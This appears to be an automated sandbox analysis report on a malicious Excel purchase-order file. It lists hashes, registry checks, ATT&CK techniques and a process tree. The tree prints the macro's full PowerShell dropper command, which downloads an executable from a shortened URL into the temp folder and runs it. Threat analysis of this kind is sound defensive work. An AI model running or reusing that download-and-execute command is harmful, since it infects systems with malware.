d7a4a7c4bced1b93c3bf1252ef98ccfd1129452a675633349f5f98d3c968df37

General

Target

PO_371_50_37.xls
Size

396KB
MD5

dd94071fbb3459fb33069767de531441
SHA1

5203fa48ba79e3626bcec7ecf3c1838c484760ef
SHA256

d7a4a7c4bced1b93c3bf1252ef98ccfd1129452a675633349f5f98d3c968df37
SHA512

d96e8fb052ffadee0961ff6fca2649066a81a02a3a4dee763e89d98b77cbd11faf15fa8a83b3c72e68d02284ee7dcd4a93f675a3f1da87a89d4c5f6a89fd64d8

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://bit.ly/2OQ9elm

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4044	1048	powershell.exe	EXCEL.EXE

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

12 4044 powershell.exe
16 4044 powershell.exe

flow	pid	process
12	4044	powershell.exe
16	4044	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1048 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

4044 powershell.exe
4044 powershell.exe
4044 powershell.exe
3868 powershell.exe
3868 powershell.exe
3868 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4044 powershell.exe
Token: SeDebugPrivilege 3868 powershell.exe

pid	process
4044	powershell.exe
4044	powershell.exe
4044	powershell.exe
3868	powershell.exe
3868	powershell.exe
3868	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4044	powershell.exe
Token: SeDebugPrivilege	3868	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
1048	EXCEL.EXE
1048	EXCEL.EXE
1048	EXCEL.EXE
1048	EXCEL.EXE
1048	EXCEL.EXE
1048	EXCEL.EXE
1048	EXCEL.EXE
1048	EXCEL.EXE
1048	EXCEL.EXE
1048	EXCEL.EXE
1048	EXCEL.EXE
1048	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEpowershell.execmd.exe

description	pid	process	target process
PID 1048 wrote to memory of 4044	1048	EXCEL.EXE	powershell.exe
PID 1048 wrote to memory of 4044	1048	EXCEL.EXE	powershell.exe
PID 4044 wrote to memory of 1656	4044	powershell.exe	cmd.exe
PID 4044 wrote to memory of 1656	4044	powershell.exe	cmd.exe
PID 1656 wrote to memory of 3868	1656	cmd.exe	powershell.exe
PID 1656 wrote to memory of 3868	1656	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\PO_371_50_37.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1048

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe cmd /c powershell (NEw-objEct system.net.wEBclIenT).DownLoAdfIlE( ”https://bit.ly/2OQ9elm” , ”$ENv:TEMP\test1.exe” ) ; stARt-PRoCESs ”$ENv:TEMP\test1.exe”
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4044

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c powershell
3⤵
- Suspicious use of WriteProcessMemory
PID:1656

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3868

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1048-2-0x00007FFA46D50000-0x00007FFA46D60000-memory.dmp

Filesize
64KB

Download
memory/1048-3-0x00007FFA46D50000-0x00007FFA46D60000-memory.dmp

Filesize
64KB

Download
memory/1048-4-0x00007FFA46D50000-0x00007FFA46D60000-memory.dmp

Filesize
64KB

Download
memory/1048-5-0x00007FFA6A4B0000-0x00007FFA6AAE7000-memory.dmp

Filesize
6.2MB

Download
memory/1048-6-0x00007FFA46D50000-0x00007FFA46D60000-memory.dmp

Filesize
64KB

Download
memory/1656-14-0x0000000000000000-mapping.dmp

Download
memory/3868-15-0x0000000000000000-mapping.dmp

Download
memory/3868-16-0x00007FFA61AE0000-0x00007FFA624CC000-memory.dmp

Filesize
9.9MB

Download
memory/3868-18-0x000001D2A0B60000-0x000001D2A0B62000-memory.dmp

Filesize
8KB

Download
memory/3868-19-0x000001D2A0B63000-0x000001D2A0B65000-memory.dmp

Filesize
8KB

Download
memory/3868-20-0x000001D2A0DE0000-0x000001D2A0DE1000-memory.dmp

Filesize
4KB

Download
memory/4044-8-0x00007FFA61AE0000-0x00007FFA624CC000-memory.dmp

Filesize
9.9MB

Download
memory/4044-9-0x00000204CAA50000-0x00000204CAA51000-memory.dmp

Filesize
4KB

Download
memory/4044-10-0x00000204E3060000-0x00000204E3061000-memory.dmp

Filesize
4KB

Download
memory/4044-11-0x00000204CA8E0000-0x00000204CA8E2000-memory.dmp

Filesize
8KB

Download
memory/4044-12-0x00000204CA8E3000-0x00000204CA8E5000-memory.dmp

Filesize
8KB

Download
memory/4044-13-0x00000204CA8E6000-0x00000204CA8E8000-memory.dmp

Filesize
8KB

Download
memory/4044-7-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads